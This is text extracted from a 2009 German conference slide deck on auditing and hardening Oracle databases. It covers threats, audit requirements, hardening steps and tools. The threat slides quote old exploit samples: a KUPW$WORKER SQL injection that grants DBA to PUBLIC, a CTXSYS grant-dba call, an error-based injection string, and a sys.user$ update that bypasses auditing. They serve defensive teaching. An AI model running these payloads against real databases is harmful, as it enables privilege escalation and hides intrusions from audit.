Auditing und Härtung von Oracle Datenbanken 1 - doag.org · Agenda Bedrohungen Auditing...

Preview:

Citation preview

Auditing und Härtung von Oracle Datenbanken

Auditing und Härtung von Oracle Datenbanken Seite 1

Nadjibullah Rajab • Bereichsleiter

OPITZ CONSULTING Gummersbach GmbH

Essen, 22.04.2009

Agenda

● Bedrohungen

● Auditing● Vorgaben/Anforderungen

● Methoden

● Überblick Audit Vault

● Härten einer Datenbank

Auditing und Härtung von Oracle Datenbanken Seite 2

● Härten einer Datenbank● Die wichtigsten Schritte

● Tools und Techniken● Oracle Audit Vault

● Sentrigo Hedgehog

● RepScan

● Sonstige Tools

1 Bedrohungen

Auditing und Härtung von Oracle Datenbanken Seite 3

Mit geklonten Debit-Karten haben US-Berichten

zufolge Kriminelle innerhalb weniger Stunden

neun Millionen US-Dollar von 130

Geldautomaten in 49 Städten weltweit

abgehoben.“

Externe Bedrohung

Auditing und Härtung von Oracle Datenbanken Seite 4

abgehoben.“

06.02.2009 bei heise online

Eine Spionagesoftware soll über mehrere

Wochen hinweg Kreditkartendaten bei

Heartland Payment Systems (Kreditkarten-

Transaktionsdienstleister in USA ) ausgespäht

haben.

Externe Bedrohung

Auditing und Härtung von Oracle Datenbanken Seite 5

haben.

21.01.2009 bei heise online

Externe Bedrohung

What really happened to usa.kaspersky.com/support?

“.. we confirm that the vulnerability existed in the new version of usa.kaspersky.com/support. We analyzed the log files and found requests with SQL injection. There were several attackers with IP addresses from Romanian ISPs. The requests were initially made with an automated tool - the screenshots showed that the hackers

Auditing und Härtung von Oracle Datenbanken

with an automated tool - the screenshots showed that the hackers used a variant of an Acunetix tool.

Quelle : http://www.viruslist.com (02.09.2008)

Seite 6

„ A study conducted by security firm Cyber-Ark

indicates that ? percent of system

administrators steal sensitive company data

and one third would take password lists with

them if fired.“

Interne Bedrohung

Auditing und Härtung von Oracle Datenbanken Seite 7

them if fired.“

02.09.2008 bei arstechnica.com

„ A study conducted by security firm Cyber-Ark

indicates that 88 (!) percent of system

administrators steal sensitive company data

and one third would take password lists with

them if fired.“

Interne Bedrohung

Auditing und Härtung von Oracle Datenbanken Seite 8

them if fired.“

02.09.2008 bei arstechnica.com

Motivation der Angreifer

● Kommerzielles Interesse

● „Suche nach Gerechtigkeit“ (gefeuerte oder frustrierte MA,

Grey-Hat Hacker etc.)

Auditing und Härtung von Oracle Datenbanken

● Spezialisierung der Angreifer

● Security oft keine Präventiv-Maßnahme

● Mehr Wissen über Sicherheitslücken

Seite 9

Informationen im Internet

● Sicherheitslücken werden im Internet veröffentlicht:

Auditing und Härtung von Oracle Datenbanken Seite 10

Beispiele

● SQL Injection in Webanwendungen bzw. Prozeduren

● Angriffe mit speziellen Tools

● Sicherheitslücken in der Oracle Optionen

Auditing und Härtung von Oracle Datenbanken Seite 11

● Fehlermeldungen mit Datenbank-Inhalten

● Google „Hacking“

● Umgehen von Oracle Auditing

Beispiel: SQL Injection

● Eskalation der Privilegien mit SQL InjectionKUPW$WORKER in Oracle 10g R1 (gelöst in CPU 07.2006):

CREATE OR REPLACE FUNCTION F return number

authid current_user as

pragma autonomous_transaction;

BEGIN

Auditing und Härtung von Oracle Datenbanken

BEGIN

EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';

COMMIT;

RETURN 1;

END;

/

exec sys.kupw$WORKER.main('x','YY'' and 1=d.f -- r6');

Quelle: red-database-security.com

Seite 12

Beispiel: Angriffe mit Tools

Auditing und Härtung von Oracle Datenbanken Seite 13

Beispiel: Sicherheitslücken in der Oracle Optionen

● Eskalation von Privilegien mit CTXSYS in Oracle 8i und 9i:

sqlplus scott/tiger@ora902

SQL> exec ctxsys.driload.validate_stmt('grant dba to

scott');

BEGIN ctxsys.driload.validate_stmt('grant dba to scott');

Auditing und Härtung von Oracle Datenbanken

BEGIN ctxsys.driload.validate_stmt('grant dba to scott');

END;

*

ERROR at line 1:

ORA-06510: PL/SQL: unhandled user-defined exception

ORA-06512: at "CTXSYS.DRILOAD", line 42

ORA-01003: no statement parsed

ORA-06512: at line 1

Quelle: red-database-security.com

Seite 14

Beispiel: Fehlermeldungen mit Datenbank-Inhalten

' or1=ctxsys.drithsx.sn(1,(select sys.stragg(distinctbanner)||' '

fromv$version))--

Auditing und Härtung von Oracle Datenbanken Seite 15

Beispiel: Google Hacking

Auditing und Härtung von Oracle Datenbanken Seite 16

Beispiel: Umgehen von Oracle Auditing

● Das Auditing von Oracle kann umgegangen werden:

SQL> audit create user;

SQL> create role hacker identified by hacker;

SQL> update sys.user$ set type#=1 where name='HACKER';

SQL> select username from dba_users where

username='HACKER';

Auditing und Härtung von Oracle Datenbanken

username='HACKER';

USERNAME

------------------------------

HACKER

● Alternativ können einige zu auditierenden Operationen in Prozeduren/Funktionen versteckt werden

Seite 17

2 Auditing

Auditing und Härtung von Oracle Datenbanken Seite 18

Vorgaben

● Sarbanes-Oxley-Act

● HIPAA

● PCI-DSS

Auditing und Härtung von Oracle Datenbanken Seite 19

● BASEL II

● Weitere gesetzliche Vorgaben

Anforderungen

● Management:● Wer arbeitet wann mit welchen (verbotenen?) Daten

● Auditoren:● Rollentrennung: Security Admin <=> DBA

● Alarme und Reports

Auditing und Härtung von Oracle Datenbanken Seite 20

● Integrität der Audit-Daten

● IT:● Keine Einschränkung bei der tägl. Arbeit

● Keine Performance-Einbußen

Audit-Methoden

● Trigger● Programmieraufwändig

● Keine SELECT‘s

● LogMiner● Nur DML‘s und DDL‘s

Auditing und Härtung von Oracle Datenbanken Seite 21

● Keine SELECT‘s

● Auditing● Schlechte Auswertung

● Kein Schutz vor Veränderung der gesammelten Daten

Lösung: Oracle Audit Vault oder 3-rd Party Tools

Oracle Audit Vault

Übersicht

● Konsolidierung verschiedener Audit-Trails

● Sichere Aufbewahrung der Audit-Daten

Auditing und Härtung von Oracle Datenbanken Seite 22

● Zentrales Management

● Zentrales Alerting

● Zentrales Reporting

Oracle Audit Vault

Architektur

Audit Vault Agent

Source

AV_ADMIN

AV_AUDITOR

Auditing und Härtung von Oracle Datenbanken Seite 23

Source-DB

DatawarehouseManagement

ReportsAlerts

Audit Vault

Source

Collector

DBAUDOSAUDREDO

Source

Collector

DBAUDOSAUDREDO

Audit-Tools

Oracle Audit Vault

Auditing und Härtung von Oracle Datenbanken Seite 24

3 Härten von Datenbanken

Auditing und Härtung von Oracle Datenbanken Seite 25

● Die Datenbanken sind angreifbar trotz:

● Firewalls

● Aktuelles Virenscanner

● Aktuelle OS Patches

Auditing und Härtung von Oracle Datenbanken

● Aktuelle OS Patches

Seite 26

Härten von Datenbanken

Bundesamt für Sicherheit in der Informationstechnik (BSI):

„Härten (engl. Hardening) bedeutet in der IT-Sicherheit die Entfernung aller Software-Bestandteile und Funktionen, die zur Erfüllung der vorgesehenen Aufgabe durch das Programm nicht zwingend notwendig sind.“

Auditing und Härtung von Oracle Datenbanken Seite 28

zwingend notwendig sind.“

Härten von Datenbanken

● Größte Sicherheit durch:

● Installation nach Minimum Prinzip

● Aktuelle Patch-Sets

● Critical Patch Updates

Auditing und Härtung von Oracle Datenbanken Seite 29

Optionen, Features und Bespielschemata

Nur benötigte Komponenten installieren

● Installierte Komponenten:V$OPTION und DBA_REGISTRY

● Verwendete Komponenten: DBA_FEATURE_USAGE_STATISTICS

Auditing und Härtung von Oracle Datenbanken Seite 31

● Deinstallieren von Expression Filter-Feature durch $ORACLE_HOME/rdbms/admin/catnoexf.sql

● Demo-Schemata löschen: $ORACLE_HOME/demo/schema/human_resources/hr_drop.sql

Benutzermanagement und Passwörter

● Nicht mehr benötigte Accounts: EXPIRED & LOCKED

● Nur wirklich benötigte Privilegien vergeben (least privileges)

● Default-Passwörter ändern● Password Verify Function ($ORACLE_HOME/rdbms/admin/

utlpwdmg.sql)

Auditing und Härtung von Oracle Datenbanken Seite 32

utlpwdmg.sql)

● Nicht ALTER USER; besser: PASSW

● Batch-Jobs mit Secure External Password Store-Feature sichern

● Oracle Data Dictionary Protection aktivieren

● Benutzerprofile verwenden

init.ora-Parameter und PL/SQL-Packages

● init.ora-Parameter:

● REMOTE_OS_AUTHENT auf FALSE setzen

● O7_DICTIONARY_ACCESSIBILITY = FALSE

Auditing und Härtung von Oracle Datenbanken Seite 33

● PL/SQL-Packages

● UTL_* ausschalten (Default in 11g)

● User PUBLIC EXECUTE-Recht entziehen

Oracle Network Configuration

● Netwerk-Traffic verschlüsseln

● Positiv-/Negativ-Liste der Hosts in SQLNET.ORA

● Listener Default-Port 1521 ändern

Auditing und Härtung von Oracle Datenbanken Seite 34

● Service EXTPROC ggf. ausschalten bzw. entfernen

● Listener durch Passwort schützen

Dateien und Verzeichnisse

● Sicherungskopien von Oracle Binarys löschen (oder chmod 000)

● chmod 700 auf alle Oracle Binarys

● umask auf 177 setzen (777 � 600)

Auditing und Härtung von Oracle Datenbanken Seite 35

Dokumenationen

● http://www.oracle.com/technology/deploy/security/database-security/pdf/twp_security_checklist_database.pdf

● http://www.oracle.com/technology/pub/articles/project_lockdown/project-lockdown.pdf

Auditing und Härtung von Oracle Datenbanken Seite 36

4 Tools und Techniken

Auditing und Härtung von Oracle Datenbanken Seite 37

Tools

Audit-Tools

● Oracle Audit Vault

● Sentrigo Hedgehog

Security-Tools

Auditing und Härtung von Oracle Datenbanken Seite 38

Security-Tools

● Repscan

● Oracle Database Vault

● Virtual Private Database

● Data Masking

● Oracle Label Security

● Oracle Advanced Security Option

● Transparent Data Encryption

Audit-Tools

Sentrigo Hedgehog

● Realzeit Alarmierung und Prävention von Attacken

● Sensitive Daten können auf Objektlevel überwacht werden

● Virtual Patching

Auditing und Härtung von Oracle Datenbanken Seite 39

● Verteilung von Überwachungskonfigurationen

● Keine Performance-Einbußen (Überwachung der SGA)

● Einfachste Installation

● Auch MSSQL- und Sybase-DB

Audit-Tools

Architektur:

Sentrigo Sensor

Sentrigo Server

Sentrigo Sensor

Auditing und Härtung von Oracle Datenbanken Seite 40

Source-DBSource-DB

Audit-Tools

Auditing und Härtung von Oracle Datenbanken Seite 41

Audit-Tools

Oracle Audit Vault (OAV) vs. Sentrigo Hedgehog (SH)

● OAM sehr aufwändig zu installieren

● OAM auditiert nur, greift aber nicht ein

● Fertig definierte Compliance Regeln in SH

Auditing und Härtung von Oracle Datenbanken Seite 42

● Fertig definierte Compliance Regeln in SH

● SH schließt Sicherheitslücken, ohne CPU (vPatch)

● In SH können neue DBs einfach integriert werden

Security-Tools

Repscan

● Security Scanner für Oracle Datenbanken

● Spürt Modifikationen im Oracle Dictionary auf

● Findet Standard und „schwache“ Passwörter (z.B. SCOTT/tiger)

Auditing und Härtung von Oracle Datenbanken Seite 43

● Findet Standard und „schwache“ Passwörter (z.B. SCOTT/tiger)

● Alarmiert vor unsicheren Systemkonfigurationen

● Anbindung an Hedgehog

● Übersichtliche Reports

Repscan

Auditing und Härtung von Oracle Datenbanken Seite 44

RepScan Report

Auditing und Härtung von Oracle Datenbanken Seite 45

Security-Tools

Demo

● Repscan

● Hedgehog

Auditing und Härtung von Oracle Datenbanken Seite 46

&

Auditing und Härtung von Oracle Datenbanken Seite 47

Fragen & Antworten

&

Kontakt:

Nadjibullah RajabOPITZ CONSULTING GmbHnadjibullah.rajab@opitz-consulting.de

Auditing und Härtung von Oracle Datenbanken Seite 48

nadjibullah.rajab@opitz-consulting.de+49 2261 6001 0

Vielen Dank für Ihre Aufmerksamkeit !

Recommended